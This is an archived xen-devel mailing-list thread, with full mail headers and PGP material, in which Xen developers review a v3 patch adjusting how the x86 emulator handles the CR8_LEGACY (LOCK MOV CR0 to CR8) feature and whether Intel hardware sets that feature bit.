 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783503450; x=1784108250; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=fH5CDyDdzF7ihKjWedoLPGXI1TZw1MP2SFX7+Ew4YSk=;
        b=SMLXFybfPYf4Uo1u6wET7Bq9X3+BV9QWkfCqJEhXpgtBeg3NdWA5ZSls4GfIem0haR
         IphE4y/BqKxx6+WJBYOw7dA9cvw2CCEuUHjes4bIGM6Z3RRb8AfkJLZzecMNQR7vA6Dr
         DqvMQCiyQFYOGInKCC2M/DxbS4EoQ2gIFhMRSz5NIStNRqBlVRWlN4CFxL+k6FKUDSEC
         fpO8BDTCA0cYomJh7nTujG3j4uKGyRjwKHacgWUuKbv3awiOk7vazbqv4bdxu6VtvU22
         ihJhwKM1Xgfz+h15SKmHMQStsc8flyI+U/e3D4xRr6QsFXC4ek+3Crc7PsKUwtWLxOpK
         W0zw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783503450; x=1784108250;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=fH5CDyDdzF7ihKjWedoLPGXI1TZw1MP2SFX7+Ew4YSk=;
        b=r4xMtQOW2AUAtNjE03tjLzuAGEHGQN/QZBxVGN8ItRgXYJiTyHb8rkFhBPNnsYm54L
         6tDhyqh8Fx7twL6nl+PPhmxReG+EejjBm+bzfpD+P9Y1lxEFcYII3sJTvnzAFqmk6Ev3
         dmdSeb2o+HRCn4JVyZLwYFIebU1bXtGFsraJu7stXu/GsaVpuwpBv5cGhQCYzt8sO3bE
         faS//lkbaaxp7B9+MGbDjK9pDhMkK0biEPoO1J+y8wICn4iFnbkrHjPSwRdPSRf/JHIe
         yz+aRfcjuoVq7WQUr9fABb93bfPAEh8OeyoAcQkf3dfeUQ0MfyLTeTvzWjc5zg9+h6sm
         ANng==
X-Forwarded-Encrypted: i=1; AHgh+RqSm3GBBzDaLkjwbrn1mUtwbmN79ihqYk+JsT0BJIkOPPNDmIRSukTDfbmjDJWX1HBRMX1hVPSGF4Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwkPc3iDKw1RspeohiIelPrsXLOX1vkRAwmjGUBjVR+8O+fl/+R
	haXJjw9TCRimrkDF7PLIlxTt6tyY2tB1gKkfKIpopYjfAG8g3rZNgSz/PI3TRLQ5QA==
X-Gm-Gg: AfdE7cmgBarplrnUxdw6ET7dnKBbh+boDBY+72C4p6qca77+e/EPbG0N4tSOL+WH1cO
	kGbAp5GoNfLh4X8eBiZJXjumM6upvffbYcYj/K2cLzA/II+ce7MxgmBBWQdXe4C4godsFw/M6uu
	uVqajC3bKqUDpDmOQA7sTUdMqF1Q7AIMpvO1twHkiWHa7vzE7ZraDlt16CNmTDN/N9wJWWVJGK9
	LhoQlNrwyclkmrpexoTqwKFn0fgBQQ5Ahop/X1cOZ6B4F0T3JQn0gy2U4k5IHeyOS5LK+7Uu1DA
	rhdoxuIGfgzVYn3+bH2sS7H6nzah0Q8qFnRwQYcCMHXz1m+bjXxfQKq/LBHhvqWal6MCCBOFxG0
	8yW2F0BygsC2igNfo43wC7ATSEl1HhRhAwDfndYUQpIVhKuhwm36IGN1g4EntO3xYdRY9x1gLPC
	kOEYgb2MqNNPEiKXcKeraWO2e5K5XLOxgnJDaSpwsvA+tCtMYmIXyfpkG/bnpkC6cC6l9ZwNAcj
	zXC
X-Received: by 2002:a05:6000:2381:b0:473:76a2:67ef with SMTP id ffacd0b85a97d-47df0748b20mr1854620f8f.13.1783503450320;
        Wed, 08 Jul 2026 02:37:30 -0700 (PDT)
Message-ID: <4d38fc9c-0d80-4632-98e8-7fb4682bc0b0@suse.com>
Date: Wed, 8 Jul 2026 11:37:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Teddy Astie <teddy.astie@vates.tech>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6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qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1783503450-43B2A68D-F6CFA8BD/0/0
X-purgate-type: clean
X-purgate-size: 1266

On 08.07.2026 11:29, Teddy Astie wrote:
> Le 07/07/2026 Ã  21:49, Andrew Cooper a Ã©critÂ :
>> --- a/xen/arch/x86/x86_emulate/decode.c
>> +++ b/xen/arch/x86/x86_emulate/decode.c
>> @@ -780,12 +780,12 @@ decode_twobyte(struct x86_emulate_state *s,
>>           break;
>>   
>>       case 0x20: case 0x22: /* mov to/from cr */
>> -        if ( s->lock_prefix && vcpu_has_cr8_legacy() )
>> +        if ( s->lock_prefix && vcpu_has_cr8_legacy() && s->modrm_reg == 0 )
>>           {
>> -            s->modrm_reg += 8;
>> +            s->modrm_reg = 8;
>>               s->lock_prefix = false;
>>           }
>> -        /* fall through */
>> +        fallthrough;
>>       case 0x21: case 0x23: /* mov to/from dr */
>>           ASSERT(s->ea.type == OP_REG); /* Early operand adjustment ensures this. */
>>           generate_exception_if(s->lock_prefix, X86_EXC_UD);
> 
> I'm fine with it; though we probably want to make sure we always 
> advertise the AltMovCr8 feature bit as APM suggest users to always check 
> for this before relying on this behavior.

Why would we set the flag when hardware doesn't have it? Note the
vcpu_has_cr8_legacy() check there - we only engage this behavior if
the guest sees the feature as available.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:41:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:41:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356773.1611318 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOmF-0000lg-Ta; Wed, 08 Jul 2026 09:41:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356773.1611318; Wed, 08 Jul 2026 09:41:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOmF-0000lZ-Qq; Wed, 08 Jul 2026 09:41:11 +0000
Received: by outflank-mailman (input) for mailman id 1356773;
 Wed, 08 Jul 2026 09:41:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whOmE-0000lT-Gj
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:41:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOmD-007kgz-Tc
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:41:09 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e1b2c-e002-0a2a0a5209dd-0a2a450cdbb4-32
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:41:08 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e1b33-f399-0a2a450c0019-d1558030bc84-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:41:07 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so2875445e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 02:41:07 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0faee30sm107520945e9.10.2026.07.08.02.41.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 02:41:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783503667; x=1784108467; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=PRQ/tvD4gR3n257tP2KDENJ70YS6l3WWXnUpbFpHUwI=;
        b=A9NmRhSJKqEhXcRHro737fVb1DF6puLuFLGOlxp52serQaRZh9jR9I+h2h9Td+BA31
         BKaDi3Puo83KKSpgOp4nIZFCk5mdeUOL4a+8kjvPc4dcLCnx7A93Him5EoHu4CJTVohn
         tYTdK+XThihYqy/ObAGLlJ1Z1NEthmTAMp4xcVA2bnS/zh9ZGBQ50C2xwVEMjjRIZqHV
         ZHMUan5SdkcY1admgJ4LqiTh8MrDeAALV0TQWHgAvOc7k21jwaYFPX6SDOeiG9p/38vT
         nmd9CBp1jWlFjkRTdsPnx5O9eV5gkIqbneTXlOShpYfckiltwQUtUaf0d8Q1tf+6MYSq
         APjw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783503667; x=1784108467;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=PRQ/tvD4gR3n257tP2KDENJ70YS6l3WWXnUpbFpHUwI=;
        b=GWOUH/pe1BB/Ec1YGhpyNRaa72/J4fLjrPM2SWCHBUVyi2ZvysiWWaQ5+/VjwLN/vR
         +9dNO8w67xB4jzBobvWMHgpfeLBZ6YxjXkvf5cHOG/r1RFqpZI7f6/wduVPzGH4GMHvE
         jSkZdyOVKwtNQ5QVXEVtlnfeaMa3BlOQFhzaQE4LUuQukz2SxVv8hPVTsktTHAxodJwJ
         W2Z/RC+HCg9gTp2+Yb8P40eeVhrFK+Qv1Sdl8yFQKJagCvqMnvR/tRvEBP1F0WXAYGSp
         rIUEBhxKSWd7UBz3lhIBIMFZ/qKr8c/gV2gWR+lrZYZBvcj8KHDL+oKaKk1OT1lzaMxI
         vMCQ==
X-Forwarded-Encrypted: i=1; AHgh+RrAdo17mcd/7O/1ibD4UB66Ei5DsvLOHT51AWsSAlwmhMqUecvDEvb39G7jp5uTnev/KdPTbWPFRoM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzYwUYxmjXQmUM8nbgyX2+dIPQQ8/UpwDziROetlssheEd4ceRC
	FqGYIVWqNEqpjZY+ehRRzOnZCYSr3FxBd9LJAoOMo9tudnNQPHq7LjehHkzcc+ZKTQ==
X-Gm-Gg: AfdE7cnwLLkvuml+0p+4rNZ7q3+9Licx1um9gbgvXJXjMULETxz4CCiUK3PKi3s6rQk
	oPRlW3udfs/9Cko9pbTAZDMSkWJ5hcghOd/PFNglgcVhQt3wrSU0nQCK+T8E4XKfnySzzVvcv/O
	BN5XcuWHj+Ts60UvftNbYWvhQY2G/xK/VxYqWGtC2wCulhizRoBj0fr7E6cmO3adV/ixonTs0Uu
	6n3zOC36fF8ovpHnYHG2WnpkT6l+jw/QSs0N2r4z7Nfg9UNR4ncuNa49u2ELsMvgJX53tVyuRLP
	eJJkuT8YLXpsJkySUGAXDjk8iXCirv+8qmJmhS3HKnNz1y/2ZZBBa9Au/OanpNqOp+BpV/Px3Wd
	Ab6wUGoWJriMlJqWj885bPoU530z35nJ9uEGWVV80CMnyj6+MRisXpRgtGk37xXrcqcEKJBfzcf
	0i9pqs+1p78Rv6VnASk8gIohUcRlta5sNRK2n1PgX0bRjE/BJMJKsGm0OGLqL0f/2cSfBH1Yq3Q
	GrNYIIdmCwtJu8=
X-Received: by 2002:a05:600c:4754:b0:493:c8f7:3631 with SMTP id 5b1f17b1804b1-493e68df99fmr15136125e9.22.1783503667179;
        Wed, 08 Jul 2026 02:41:07 -0700 (PDT)
Message-ID: <f74fc8e8-9763-4022-a62e-e6328fe35cd4@suse.com>
Date: Wed, 8 Jul 2026 11:41:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Teddy Astie <teddy.astie@vates.tech>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRB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Ukxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783503667-92F3BD51-4B1F7EC8/0/0
X-purgate-type: clean
X-purgate-size: 421

On 08.07.2026 11:29, Teddy Astie wrote:
> Interestingly, I see this feature bit set on Intel hardware.
> Though, it's a reserved bit in SDM, and lock mov cr0 is defined as being 
> #UD.

On what particular piece of Intel hardware do you see the bit? I just looked
over all of the Intel systems I have locally available, and none of them has
the bit set. (The neighboring bit, ABM, is set on many of them.)

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:50:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:50:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356782.1611326 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOvO-0002UY-PM; Wed, 08 Jul 2026 09:50:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356782.1611326; Wed, 08 Jul 2026 09:50:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOvO-0002UR-MA; Wed, 08 Jul 2026 09:50:38 +0000
Received: by outflank-mailman (input) for mailman id 1356782;
 Wed, 08 Jul 2026 09:50:37 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4122da7900080a8@swg.vates.tech>)
 id 1whOvN-0002UL-0K
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:50:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOvM-00GfXj-9d
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:50:36 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4122da7900080a8@swg.vates.tech>)
 id 6a4e1d58-2eae-0a2a0a5409dd-0a2a450387f0-46
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:50:36 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4122da7900080a8@swg.vates.tech>)
 id 6a4e1d6c-ec1a-0a2a45030019-b9ff1c229a93-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:50:36 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4122da7900080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 09:50:31 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 633DB81F07;
 Wed,  8 Jul 2026 11:50:30 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=i1lqu+niaVvy5JChJA0M/g9HWWsNIxMzwlgR7GrT3Wc=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Mormc9btEg7YP2jfHagQiijipGCc3eX/43jweqnFKJdYWLjKf75kmOJ8Vx5OZH+7dl8/6W82S
 VB9Nynv5TZ5NXcSfK/yYx5zp5SYG19FT3iZf30B9XKlnb5ePM7z+FZ2DRH1yYQimbVhh8JTOD+x
 DZgTlME4zJDlOWGUS6FYM1wQxkkmAwIV6JZ+LbprjrkW2Flyh5aP53fZLMi4a9VoHC/NrlUrCh2
 /jGhV03GlIYiPTBllmMIEBjqvbgQgMLScV/E+4zDK4z03KrodkFhn7LG9l3DM7JdrXUGSe49zq6
 eFIeI5BiwoHgYLXOLJPcK3QLEc5WsMdF/ELowCg4Rt0g==
X-Zone-Loop: c39df41c112db7b12d43e397e7648d427f7a4b13bc02
x-campaign-type: default
x-transaction-id: 86b961bc-48b6-482b-86e7-512f28c3df3c
x-swg-uid: 01-39126905-3388-46e9-a2f8-9161709ffe0a
X-Mailer: Sweego
Message-ID:
 <1783504231.8631fc262581453bbf619ec5b2062170.19f4122da7900080a8@vates.tech>
x-swg-bid: 1783504231.8631fc262581453bbf619ec5b2062170.19f4122da7900080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 11:50:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Jan Beulich <jbeulich@suse.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
 <f74fc8e8-9763-4022-a62e-e6328fe35cd4@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 K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Ut8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <f74fc8e8-9763-4022-a62e-e6328fe35cd4@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------RPpE7Ff31FH5gGejUKy0DrVU"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783504230512
X-purgate-ID: tlsNG-33051d/1783504236-071295D1-1413CE1C/0/0
X-purgate-type: clean
X-purgate-size: 5687

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------RPpE7Ff31FH5gGejUKy0DrVU
Content-Type: multipart/mixed; boundary="------------20V2zAR2nQvqHT9cEaklVv5h";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Jan Beulich <jbeulich@suse.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Message-ID: <035ec548-7be5-4a8c-bd9c-6d39d3526f24@vates.tech>
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
 <f74fc8e8-9763-4022-a62e-e6328fe35cd4@suse.com>
In-Reply-To: <f74fc8e8-9763-4022-a62e-e6328fe35cd4@suse.com>

--------------20V2zAR2nQvqHT9cEaklVv5h
Content-Type: multipart/mixed; boundary="------------strcTLs0LpvjGncXx4BBpr7h"

--------------strcTLs0LpvjGncXx4BBpr7h
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDgvMDcvMjAyNiDDoCAxMTo0MSwgSmFuIEJldWxpY2ggYSDDqWNyaXTCoDoNCj4gT24g
MDguMDcuMjAyNiAxMToyOSwgVGVkZHkgQXN0aWUgd3JvdGU6DQo+PiBJbnRlcmVzdGluZ2x5
LCBJIHNlZSB0aGlzIGZlYXR1cmUgYml0IHNldCBvbiBJbnRlbCBoYXJkd2FyZS4NCj4+IFRo
b3VnaCwgaXQncyBhIHJlc2VydmVkIGJpdCBpbiBTRE0sIGFuZCBsb2NrIG1vdiBjcjAgaXMg
ZGVmaW5lZCBhcyBiZWluZw0KPj4gI1VELg0KPiANCj4gT24gd2hhdCBwYXJ0aWN1bGFyIHBp
ZWNlIG9mIEludGVsIGhhcmR3YXJlIGRvIHlvdSBzZWUgdGhlIGJpdD8gSSBqdXN0IGxvb2tl
ZA0KPiBvdmVyIGFsbCBvZiB0aGUgSW50ZWwgc3lzdGVtcyBJIGhhdmUgbG9jYWxseSBhdmFp
bGFibGUsIGFuZCBub25lIG9mIHRoZW0gaGFzDQo+IHRoZSBiaXQgc2V0LiAoVGhlIG5laWdo
Ym9yaW5nIGJpdCwgQUJNLCBpcyBzZXQgb24gbWFueSBvZiB0aGVtLikNCj4gDQoNCkFoIHJp
Z2h0LCBJIHdhcyByZWFkaW5nIHRoZSB0aGluZyB3cm9uZ2x5OyBpbmRlZWQsIGJpdCA0IGlz
IGNsZWFyZWQgb24gDQpJbnRlbC4NCg0KPiBKYW4NCg0KVGVkZHkNCg==
--------------strcTLs0LpvjGncXx4BBpr7h
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeB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EieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------strcTLs0LpvjGncXx4BBpr7h--

--------------20V2zAR2nQvqHT9cEaklVv5h--

--------------RPpE7Ff31FH5gGejUKy0DrVU
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpOHWUFAwAAAAAACgkQZg+p0QLLz9B7
rAv+LEfuCE77a3s8+HFK2E0yey2vyi9LuhbggDnnciU+O8mlFEFUgNRERz8GG62FUmFh5dZHVpSd
Wg+92a8DSAsTe8Y+Anz3rPoMdJSbEcZiqbvBRwRFp5BkPpvGT+JgiRlZccpfp96RpGNy1U3iQq2s
jmb8mvAYGyc6/ugGE00BBP5IxiWpwsSwBVFzrmPIagiwTSesjILq9eMLkploa47CC7672UBTddzh
ueGQKV7uLEosZ/f0NSzzYNPu0B/I224kpBG3H0fx/1ptJk5kUDeZSvR/GwTM1NtpjhZ1QJWFcFGS
MdW7N40saKwBEka1Da72JeiBV6hlvvSG/siAhH2PoLxBi1hbr8u0FJFO0i+QK8L3vgpzU0setFx5
kdHVX/d3287GNKrp0/YlZNQah+J3pf35nX0+m2eVMWbmN0ZU5CYB6dqAydLQ+L4PqIrGmPsocNSx
